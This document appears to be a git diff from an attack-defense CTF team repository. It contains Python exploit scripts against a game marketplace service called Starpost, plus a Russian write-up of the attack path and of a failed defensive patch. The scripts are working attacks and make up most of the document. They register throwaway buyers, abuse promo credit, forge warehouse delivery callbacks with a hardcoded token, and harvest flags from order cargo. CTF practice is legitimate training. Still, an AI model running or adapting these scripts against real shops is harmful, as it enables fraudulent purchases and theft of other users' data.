seller_ids = range(newest - 1, oldest - 1, -1)
|
||||||
|
flags: set[str] = set()
|
||||||
|
checked = 0
|
||||||
|
requests_made = 0
|
||||||
|
errors = 0
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
|
futures = [
|
||||||
|
pool.submit(collect_reviews, target, seller_id, cookie, deadline)
|
||||||
|
for seller_id in seller_ids
|
||||||
|
]
|
||||||
|
for future in concurrent.futures.as_completed(futures):
|
||||||
|
found, request_count, failed = future.result()
|
||||||
|
requests_made += request_count
|
||||||
|
errors += int(failed)
|
||||||
|
checked += 1
|
||||||
|
for candidate in sorted(flag.decode("ascii") for flag in found):
|
||||||
|
if candidate in flags:
|
||||||
|
continue
|
||||||
|
flags.add(candidate)
|
||||||
|
if emit is not None:
|
||||||
|
emit(candidate)
|
||||||
|
if checked and errors == checked:
|
||||||
|
raise OSError("all review requests failed")
|
||||||
|
return sorted(flags), checked, requests_made, errors
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
flags, checked, requests_made, errors = run_exploit(
|
||||||
|
sys.argv[1], lambda candidate: print(candidate, flush=True)
|
||||||
|
)
|
||||||
|
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError) as exc:
|
||||||
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
print(
|
||||||
|
f"checked={checked} requests={requests_made} request_errors={errors} flags={len(flags)}",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Executable
+253
@@ -0,0 +1,253 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import secrets
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from http.client import HTTPException
|
||||||
|
from http.cookies import SimpleCookie
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
|
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||||
|
|
||||||
|
|
||||||
|
TARGET_SCHEME = "http"
|
||||||
|
SERVICE_PORT = 8090
|
||||||
|
REQUEST_TIMEOUT = 1.5
|
||||||
|
RUN_TIMEOUT = 8.0
|
||||||
|
MAX_RESPONSE = 512 * 1024
|
||||||
|
MAX_PRICE = 200
|
||||||
|
DELIVERY_POLLS = 4
|
||||||
|
POLL_INTERVAL = 0.3
|
||||||
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
|
||||||
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def build_target(target: str) -> str:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
if "://" not in raw:
|
||||||
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||||
|
raw = f"{TARGET_SCHEME}://{authority}"
|
||||||
|
parsed = urlsplit(raw)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected an HTTP target")
|
||||||
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||||
|
raise ValueError("target must not include credentials or a path")
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target must not include query or fragment")
|
||||||
|
port = parsed.port
|
||||||
|
if port is None:
|
||||||
|
port = 443 if parsed.scheme == "https" else SERVICE_PORT
|
||||||
|
if not 1 <= port <= 65535:
|
||||||
|
raise ValueError("invalid target port")
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||||
|
|
||||||
|
|
||||||
|
def request(
|
||||||
|
target: str,
|
||||||
|
method: str,
|
||||||
|
path: str,
|
||||||
|
deadline: float,
|
||||||
|
payload: dict | None = None,
|
||||||
|
cookie: str | None = None,
|
||||||
|
) -> tuple[int, list[tuple[str, str]], bytes]:
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||||
|
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-signup/1.0"}
|
||||||
|
if body is not None:
|
||||||
|
headers["Content-Type"] = "application/json"
|
||||||
|
if cookie:
|
||||||
|
headers["Cookie"] = f"session={cookie}"
|
||||||
|
req = Request(target + path, data=body, headers=headers, method=method)
|
||||||
|
opener = build_opener(NoRedirects())
|
||||||
|
try:
|
||||||
|
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||||
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return response.status, list(response.headers.items()), data
|
||||||
|
except HTTPError as exc:
|
||||||
|
data = exc.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return exc.code, list(exc.headers.items()), data
|
||||||
|
|
||||||
|
|
||||||
|
def get_json(
|
||||||
|
target: str,
|
||||||
|
method: str,
|
||||||
|
path: str,
|
||||||
|
deadline: float,
|
||||||
|
payload: dict | None = None,
|
||||||
|
cookie: str | None = None,
|
||||||
|
) -> tuple[int, list[tuple[str, str]], object, bytes]:
|
||||||
|
status, headers, raw = request(target, method, path, deadline, payload, cookie)
|
||||||
|
try:
|
||||||
|
decoded = json.loads(raw)
|
||||||
|
except json.JSONDecodeError as exc:
|
||||||
|
raise ValueError(f"{path} returned invalid JSON") from exc
|
||||||
|
return status, headers, decoded, raw
|
||||||
|
|
||||||
|
|
||||||
|
def select_product(target: str, deadline: float) -> tuple[int, int] | None:
|
||||||
|
status, _, response, _ = get_json(target, "GET", "/api/products", deadline)
|
||||||
|
if status != 200 or not isinstance(response, list):
|
||||||
|
raise ValueError(f"products endpoint returned HTTP {status}")
|
||||||
|
for product in response:
|
||||||
|
if not isinstance(product, dict):
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
product_id = int(product["id"])
|
||||||
|
price = int(product["price"])
|
||||||
|
except (KeyError, TypeError, ValueError):
|
||||||
|
continue
|
||||||
|
if isinstance(product.get("id"), bool) or isinstance(product.get("price"), bool):
|
||||||
|
continue
|
||||||
|
if product_id > 0 and 1 <= price <= MAX_PRICE:
|
||||||
|
return product_id, price
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def register_buyer(target: str, deadline: float) -> str:
|
||||||
|
marker = secrets.token_hex(8)
|
||||||
|
status, headers, _, _ = get_json(
|
||||||
|
target,
|
||||||
|
"POST",
|
||||||
|
"/api/register",
|
||||||
|
deadline,
|
||||||
|
payload={
|
||||||
|
"username": f"signup-{marker}",
|
||||||
|
"password": secrets.token_urlsafe(18),
|
||||||
|
"role": "buyer",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
if status != 201:
|
||||||
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
|
cookies = SimpleCookie()
|
||||||
|
for name, value in headers:
|
||||||
|
if name.lower() == "set-cookie":
|
||||||
|
cookies.load(value)
|
||||||
|
if "session" not in cookies:
|
||||||
|
raise ValueError("registration did not return a session")
|
||||||
|
return cookies["session"].value
|
||||||
|
|
||||||
|
|
||||||
|
def obtain_credit(target: str, cookie: str, deadline: float) -> None:
|
||||||
|
status, _, response, _ = get_json(target, "GET", "/api/account", deadline, cookie=cookie)
|
||||||
|
if status != 200 or not isinstance(response, dict):
|
||||||
|
raise ValueError(f"account endpoint returned HTTP {status}")
|
||||||
|
promo = response.get("promo")
|
||||||
|
code = promo.get("code") if isinstance(promo, dict) else None
|
||||||
|
if not isinstance(code, str) or not code:
|
||||||
|
raise ValueError("promo code missing")
|
||||||
|
status, _, _, _ = get_json(
|
||||||
|
target,
|
||||||
|
"POST",
|
||||||
|
"/api/promo/credit",
|
||||||
|
deadline,
|
||||||
|
payload={"code": code},
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
if status != 200:
|
||||||
|
raise ValueError(f"promo endpoint returned HTTP {status}")
|
||||||
|
status, _, _, _ = get_json(
|
||||||
|
target,
|
||||||
|
"POST",
|
||||||
|
"/api/promo/invalidate",
|
||||||
|
deadline,
|
||||||
|
payload={"code": code},
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
if status != 200:
|
||||||
|
raise ValueError(f"promo invalidation returned HTTP {status}")
|
||||||
|
|
||||||
|
|
||||||
|
def buy_product(target: str, product_id: int, cookie: str, deadline: float) -> int:
|
||||||
|
status, _, response, _ = get_json(
|
||||||
|
target,
|
||||||
|
"POST",
|
||||||
|
f"/api/products/{product_id}/buy",
|
||||||
|
deadline,
|
||||||
|
payload={},
|
||||||
|
cookie=cookie,
|
||||||
|
)
|
||||||
|
if status != 201 or not isinstance(response, dict):
|
||||||
|
raise ValueError(f"purchase endpoint returned HTTP {status}")
|
||||||
|
try:
|
||||||
|
order_id = int(response["id"])
|
||||||
|
except (KeyError, TypeError, ValueError) as exc:
|
||||||
|
raise ValueError("purchase returned an invalid order id") from exc
|
||||||
|
return order_id
|
||||||
|
|
||||||
|
|
||||||
|
def collect_order(target: str, order_id: int, cookie: str, deadline: float) -> set[bytes]:
|
||||||
|
for _ in range(DELIVERY_POLLS):
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
break
|
||||||
|
time.sleep(min(POLL_INTERVAL, remaining))
|
||||||
|
try:
|
||||||
|
status, _, response, _ = get_json(target, "GET", "/api/orders", deadline, cookie=cookie)
|
||||||
|
except (OSError, TimeoutError, URLError, HTTPException, ValueError):
|
||||||
|
continue
|
||||||
|
if status != 200 or not isinstance(response, list):
|
||||||
|
continue
|
||||||
|
for order in response:
|
||||||
|
if not isinstance(order, dict):
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
current_id = int(order["id"])
|
||||||
|
except (KeyError, TypeError, ValueError):
|
||||||
|
continue
|
||||||
|
cargo = order.get("cargo")
|
||||||
|
if current_id == order_id and order.get("status") == "delivered" and isinstance(cargo, str):
|
||||||
|
return set(FLAG_PATTERN.findall(cargo.encode()))
|
||||||
|
return set()
|
||||||
|
|
||||||
|
|
||||||
|
def run_exploit(raw_target: str) -> tuple[list[str], int | None, int | None]:
|
||||||
|
target = build_target(raw_target)
|
||||||
|
deadline = time.monotonic() + RUN_TIMEOUT
|
||||||
|
selected = select_product(target, deadline)
|
||||||
|
if selected is None:
|
||||||
|
return [], None, None
|
||||||
|
product_id, price = selected
|
||||||
|
cookie = register_buyer(target, deadline)
|
||||||
|
obtain_credit(target, cookie, deadline)
|
||||||
|
order_id = buy_product(target, product_id, cookie, deadline)
|
||||||
|
flags = sorted(flag.decode("ascii") for flag in collect_order(target, order_id, cookie, deadline))
|
||||||
|
return flags, product_id, price
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
flags, product_id, price = run_exploit(sys.argv[1])
|
||||||
|
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError) as exc:
|
||||||
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
if product_id is None:
|
||||||
|
print("no active product within the 200-credit signup budget", file=sys.stderr)
|
||||||
|
return 0
|
||||||
|
for candidate in flags:
|
||||||
|
print(candidate, flush=True)
|
||||||
|
print(f"product={product_id} price={price} flags={len(flags)}", file=sys.stderr)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -4,9 +4,10 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import concurrent.futures
|
import concurrent.futures
|
||||||
import json
|
import json
|
||||||
import math
|
import re
|
||||||
import secrets
|
import secrets
|
||||||
import sys
|
import sys
|
||||||
|
import time
|
||||||
from http.cookies import SimpleCookie
|
from http.cookies import SimpleCookie
|
||||||
from urllib.error import HTTPError, URLError
|
from urllib.error import HTTPError, URLError
|
||||||
from urllib.parse import urlsplit, urlunsplit
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
@@ -14,11 +15,13 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
|
|||||||
|
|
||||||
TARGET_SCHEME = "http"
|
TARGET_SCHEME = "http"
|
||||||
SERVICE_PORT = 8090
|
SERVICE_PORT = 8090
|
||||||
REQUEST_TIMEOUT = 2.0
|
REQUEST_TIMEOUT = 1.5
|
||||||
MAX_RESPONSE = 128 * 1024
|
TOTAL_TIMEOUT = 8.5
|
||||||
MAX_PRODUCTS = 8
|
MAX_RESPONSE = 512 * 1024
|
||||||
MAX_CREDITS = 100
|
MAX_PRODUCTS = 5
|
||||||
MAX_WORKERS = 8
|
MAX_WORKERS = 8
|
||||||
|
GET_RETRIES = 1
|
||||||
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
||||||
|
|
||||||
|
|
||||||
@@ -46,7 +49,15 @@ def build_base_url(target: str) -> str:
|
|||||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||||
|
|
||||||
|
|
||||||
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False):
|
def request(
|
||||||
|
base: str,
|
||||||
|
path: str,
|
||||||
|
method: str = "GET",
|
||||||
|
payload=None,
|
||||||
|
cookie: str | None = None,
|
||||||
|
warehouse=False,
|
||||||
|
deadline: float | None = None,
|
||||||
|
):
|
||||||
body = json.dumps(payload).encode() if payload is not None else None
|
body = json.dumps(payload).encode() if payload is not None else None
|
||||||
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
||||||
if body is not None:
|
if body is not None:
|
||||||
@@ -55,25 +66,40 @@ def request(base: str, path: str, method: str = "GET", payload=None, cookie: str
|
|||||||
headers["Cookie"] = f"session={cookie}"
|
headers["Cookie"] = f"session={cookie}"
|
||||||
if warehouse:
|
if warehouse:
|
||||||
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
||||||
req = Request(base + path, data=body, headers=headers, method=method)
|
attempts = GET_RETRIES + 1 if method == "GET" else 1
|
||||||
opener = build_opener(NoRedirects())
|
for attempt in range(attempts):
|
||||||
try:
|
remaining = REQUEST_TIMEOUT if deadline is None else deadline - time.monotonic()
|
||||||
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
if remaining <= 0:
|
||||||
data = response.read(MAX_RESPONSE + 1)
|
raise TimeoutError("overall deadline exceeded")
|
||||||
|
req = Request(base + path, data=body, headers=headers, method=method)
|
||||||
|
opener = build_opener(NoRedirects())
|
||||||
|
try:
|
||||||
|
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||||
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return response.status, data, response.headers
|
||||||
|
except HTTPError as exc:
|
||||||
|
data = exc.read(MAX_RESPONSE + 1)
|
||||||
if len(data) > MAX_RESPONSE:
|
if len(data) > MAX_RESPONSE:
|
||||||
raise ValueError("response too large")
|
raise ValueError("response too large")
|
||||||
return response.status, data, response.headers
|
if method == "GET" and exc.code in {502, 503, 504} and attempt + 1 < attempts:
|
||||||
except HTTPError as exc:
|
continue
|
||||||
return exc.code, exc.read(MAX_RESPONSE), exc.headers
|
return exc.code, data, exc.headers
|
||||||
|
except (URLError, TimeoutError, OSError):
|
||||||
|
if attempt + 1 >= attempts:
|
||||||
|
raise
|
||||||
|
raise TimeoutError("request attempts exhausted")
|
||||||
|
|
||||||
|
|
||||||
def register_buyer(base: str) -> str:
|
def register_buyer(base: str, deadline: float) -> str:
|
||||||
marker = secrets.token_hex(8)
|
marker = secrets.token_hex(8)
|
||||||
status, _, headers = request(
|
status, _, headers = request(
|
||||||
base,
|
base,
|
||||||
"/api/register",
|
"/api/register",
|
||||||
method="POST",
|
method="POST",
|
||||||
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||||
|
deadline=deadline,
|
||||||
)
|
)
|
||||||
if status != 201:
|
if status != 201:
|
||||||
raise ValueError(f"registration returned HTTP {status}")
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
@@ -84,34 +110,64 @@ def register_buyer(base: str) -> str:
|
|||||||
return jar["session"].value
|
return jar["session"].value
|
||||||
|
|
||||||
|
|
||||||
def credit(base: str, cookie: str, code: str) -> bool:
|
def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||||
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie)
|
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline)
|
||||||
return status == 200
|
return status == 200
|
||||||
|
|
||||||
|
|
||||||
def buy(base: str, cookie: str, product_id: int):
|
def invalidate(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||||
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie)
|
status, _, _ = request(
|
||||||
|
base, "/api/promo/invalidate", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline
|
||||||
|
)
|
||||||
|
return status == 200
|
||||||
|
|
||||||
|
|
||||||
|
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
|
||||||
|
status, _, _ = request(
|
||||||
|
base,
|
||||||
|
"/api/cart",
|
||||||
|
method="POST",
|
||||||
|
payload={"product_id": product_id},
|
||||||
|
cookie=cookie,
|
||||||
|
deadline=deadline,
|
||||||
|
)
|
||||||
|
return status == 201
|
||||||
|
|
||||||
|
|
||||||
|
def checkout(base: str, cookie: str, deadline: float) -> list[int]:
|
||||||
|
status, raw, _ = request(base, "/api/cart/checkout", method="POST", payload={}, cookie=cookie, deadline=deadline)
|
||||||
if status != 201:
|
if status != 201:
|
||||||
return None
|
return []
|
||||||
data = json.loads(raw)
|
data = json.loads(raw)
|
||||||
return int(data["id"])
|
orders = data.get("orders") if isinstance(data, dict) else None
|
||||||
|
if not isinstance(orders, list):
|
||||||
|
return []
|
||||||
|
order_ids = []
|
||||||
|
for order in orders:
|
||||||
|
try:
|
||||||
|
order_ids.append(int(order["id"]))
|
||||||
|
except (KeyError, TypeError, ValueError):
|
||||||
|
continue
|
||||||
|
return order_ids
|
||||||
|
|
||||||
|
|
||||||
def deliver(base: str, order_id: int) -> bool:
|
def deliver(base: str, order_id: int, deadline: float) -> bool:
|
||||||
status, _, _ = request(
|
status, _, _ = request(
|
||||||
base,
|
base,
|
||||||
"/api/warehouse/callback",
|
"/api/warehouse/callback",
|
||||||
method="POST",
|
method="POST",
|
||||||
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
||||||
warehouse=True,
|
warehouse=True,
|
||||||
|
deadline=deadline,
|
||||||
)
|
)
|
||||||
return status == 200
|
return status == 200
|
||||||
|
|
||||||
|
|
||||||
def run_exploit(target: str) -> str:
|
def run_exploit(target: str) -> str:
|
||||||
|
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||||
base = build_base_url(target)
|
base = build_base_url(target)
|
||||||
cookie = register_buyer(base)
|
cookie = register_buyer(base, deadline)
|
||||||
status, raw, _ = request(base, "/api/account", cookie=cookie)
|
status, raw, _ = request(base, "/api/account", cookie=cookie, deadline=deadline)
|
||||||
if status != 200:
|
if status != 200:
|
||||||
raise ValueError(f"account endpoint returned HTTP {status}")
|
raise ValueError(f"account endpoint returned HTTP {status}")
|
||||||
account = json.loads(raw)
|
account = json.loads(raw)
|
||||||
@@ -119,13 +175,13 @@ def run_exploit(target: str) -> str:
|
|||||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||||
raise ValueError("promo code missing")
|
raise ValueError("promo code missing")
|
||||||
|
|
||||||
status, raw, _ = request(base, "/api/products")
|
status, raw, _ = request(base, "/api/products", deadline=deadline)
|
||||||
if status != 200:
|
if status != 200:
|
||||||
raise ValueError(f"products endpoint returned HTTP {status}")
|
raise ValueError(f"products endpoint returned HTTP {status}")
|
||||||
products = json.loads(raw)
|
products = json.loads(raw)
|
||||||
selected = []
|
selected = []
|
||||||
total = 0
|
total = 0
|
||||||
budget = 100 + MAX_CREDITS * 100
|
budget = 200
|
||||||
for product in products if isinstance(products, list) else []:
|
for product in products if isinstance(products, list) else []:
|
||||||
try:
|
try:
|
||||||
product_id = int(product["id"])
|
product_id = int(product["id"])
|
||||||
@@ -141,28 +197,28 @@ def run_exploit(target: str) -> str:
|
|||||||
if not selected:
|
if not selected:
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
required_credits = max(0, math.ceil((total - 100) / 100))
|
if not credit(base, cookie, promo["code"], deadline):
|
||||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
raise ValueError("promo crediting failed")
|
||||||
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits)))
|
if not invalidate(base, cookie, promo["code"], deadline):
|
||||||
if credited != required_credits:
|
raise ValueError("promo invalidation failed")
|
||||||
raise ValueError("promo crediting was incomplete")
|
|
||||||
|
|
||||||
order_ids = []
|
|
||||||
for product_id in selected:
|
|
||||||
order_id = buy(base, cookie, product_id)
|
|
||||||
if order_id is not None:
|
|
||||||
order_ids.append(order_id)
|
|
||||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids))
|
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
|
||||||
|
if added == 0:
|
||||||
|
return ""
|
||||||
|
order_ids = checkout(base, cookie, deadline)
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
|
delivered = sum(pool.map(lambda order_id: deliver(base, order_id, deadline), order_ids))
|
||||||
|
|
||||||
status, raw, _ = request(base, "/api/orders", cookie=cookie)
|
status, raw, _ = request(base, "/api/orders", cookie=cookie, deadline=deadline)
|
||||||
if status != 200:
|
if status != 200:
|
||||||
raise ValueError(f"orders endpoint returned HTTP {status}")
|
raise ValueError(f"orders endpoint returned HTTP {status}")
|
||||||
print(
|
print(
|
||||||
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders",
|
f"credited once, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
|
||||||
file=sys.stderr,
|
file=sys.stderr,
|
||||||
)
|
)
|
||||||
return raw.decode("utf-8", errors="replace")
|
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
|
||||||
|
return b"\n".join(candidates).decode("ascii")
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
@@ -174,7 +230,8 @@ def main() -> int:
|
|||||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||||
print(f"request failed: {exc}", file=sys.stderr)
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
return 1
|
return 1
|
||||||
print(output, flush=True)
|
if output:
|
||||||
|
print(output, flush=True)
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,98 @@
|
|||||||
|
# Starpost: покупка чужого cargo, 25 октября 2026
|
||||||
|
|
||||||
|
## Подтверждённый путь
|
||||||
|
|
||||||
|
Публичный каталог показывает ID и цену товара. Новый buyer получает 100 кредитов
|
||||||
|
при регистрации и ещё 100 при однократном применении своего promo. Товары,
|
||||||
|
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–180.
|
||||||
|
Покупатель оплачивает товар через `POST /api/products/{id}/buy` или корзину,
|
||||||
|
warehouse доставляет заказ, после чего `GET /api/orders` возвращает `cargo`.
|
||||||
|
|
||||||
|
На первом снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
|
||||||
|
заказ от 91 buyer. Счётчики растут, это не точное число похищенных или
|
||||||
|
зачтённых флагов. Старые пути через неподписанный курсор отзывов, чужой договор
|
||||||
|
и поддельный warehouse callback текущая версия отклоняет. Runtime session key
|
||||||
|
и callback token уже отличаются от старых литералов в скриптах. Секреты и
|
||||||
|
значения флагов в этом документе не сохраняются.
|
||||||
|
|
||||||
|
## Что делает checker
|
||||||
|
|
||||||
|
Ежеминутный поток создаёт seller и product, читает карточку и собственный
|
||||||
|
договор, регистрирует **нового** buyer, применяет и гасит promo, покупает через
|
||||||
|
корзину или прямой buy, опрашивает заказы до доставки и оставляет отзыв.
|
||||||
|
Позднее checker читает старые заказы, договоры и отзывы. В 62 наблюдённых
|
||||||
|
сценариях первая покупка произошла через 0,232–0,563 с после создания товара.
|
||||||
|
Buyer создаётся без cookie seller; связывать их по одной сессии нельзя.
|
||||||
|
В 421 запросе с checker-подобным User-Agent общий `GET /api/products` не
|
||||||
|
встречался, а прямой `GET /api/products/{id}` встречался 26 раз. Это вывод из
|
||||||
|
access log, а не исходный код официального checker.
|
||||||
|
|
||||||
|
## Риск ограничения по первому заказу
|
||||||
|
|
||||||
|
Первоначальный независимый review не рекомендовал ограничение `cargo` по
|
||||||
|
первому покупателю, времени покупки, User-Agent, IP или виду флага.
|
||||||
|
Первый покупатель может оказаться соперником,
|
||||||
|
что лишит checker возможности прочитать свой флаг и даст `CORRUPT`/`MUMBLE`.
|
||||||
|
Проверка времени основана лишь на текущей скорости checker и лишает
|
||||||
|
оплативших поздних покупателей груза. User-Agent подделывается, а маршрутизатор
|
||||||
|
сводит HTTP-клиентов к одному видимому IP. Такие ограничения нарушают
|
||||||
|
штатную семантику покупки и не дают надёжной защиты.
|
||||||
|
|
||||||
|
Изолированный Flask/PostgreSQL прогон проверил маршруты seller/product,
|
||||||
|
contract, promo, прямую покупку и checkout, warehouse delivery, orders,
|
||||||
|
private review и чтение старого заказа после перезапуска приложения. Он
|
||||||
|
**не заменяет официальный checker**. Ограничение cargo по первому заказу из
|
||||||
|
`ecd6d555` было развёрнуто на своей vulnbox, после чего официальный checker
|
||||||
|
перешёл в `CHECK FAILED`. Ограничение откатили как несовместимое с checker.
|
||||||
|
|
||||||
|
Для настоящего исправления нужен предусмотренный протоколом способ указать
|
||||||
|
получателя товара при создании или иное право, которое checker может передать
|
||||||
|
новому buyer. Текущий checker и соперник используют одинаковый маршрут покупки;
|
||||||
|
без изменения контракта их нельзя надёжно различить.
|
||||||
|
|
||||||
|
## Откат ограничения cargo
|
||||||
|
|
||||||
|
Снимок с `CHECK FAILED` и ростом `lost` до 25 подтвердил, что минимальный заказ
|
||||||
|
товара не всегда принадлежит checker. `GET /api/orders` возвращён к исходному
|
||||||
|
контракту: каждый доставленный заказ получает cargo. Схема и данные БД не
|
||||||
|
изменялись, поэтому для отката достаточно пересобрать только `api`.
|
||||||
|
|
||||||
|
В `main` остаётся `f09895d`: покупка и checkout требуют
|
||||||
|
`POST /api/promo/invalidate` после начисления promo. Наблюдаемый checker
|
||||||
|
выполняет `credit -> invalidate -> buy/checkout`, поэтому этот gate сохраняется.
|
||||||
|
|
||||||
|
## Эксплойт и дальнейшая проверка
|
||||||
|
|
||||||
|
`sploits/starpost_market.py` читает публичный Skipper `attack_data` для Дока,
|
||||||
|
выбирает до двух числовых ID товаров конкретной цели и воспроизводит покупку
|
||||||
|
отдельными buyer с однократным promo. На своей БД 3/3 числовых подсказки
|
||||||
|
совпали с товарами, 2/3 имели флагоподобный cargo; подсказка не гарантирует
|
||||||
|
флаг. При отсутствии подсказок скрипт ограниченно выбирает свежие товары
|
||||||
|
ценой от 101 кредита. После начисления promo скрипт также вызывает
|
||||||
|
`promo/invalidate`. Предел одного запуска — две покупки, до 22 HTTP
|
||||||
|
запросов и 8,5 с. Семь синтетических проверок прошли, включая последовательность
|
||||||
|
«первый товар без флага, второй с флагом» и stdout только с флагом.
|
||||||
|
|
||||||
|
Также `sploits/starpost_signup.py` и `sploits/starpost_warehouse.py` теперь
|
||||||
|
гасят promo до покупки и checkout. Вместе их проверяют восемь loopback
|
||||||
|
сценариев отказа и успеха, включая проверку, что stdout содержит только флаг.
|
||||||
|
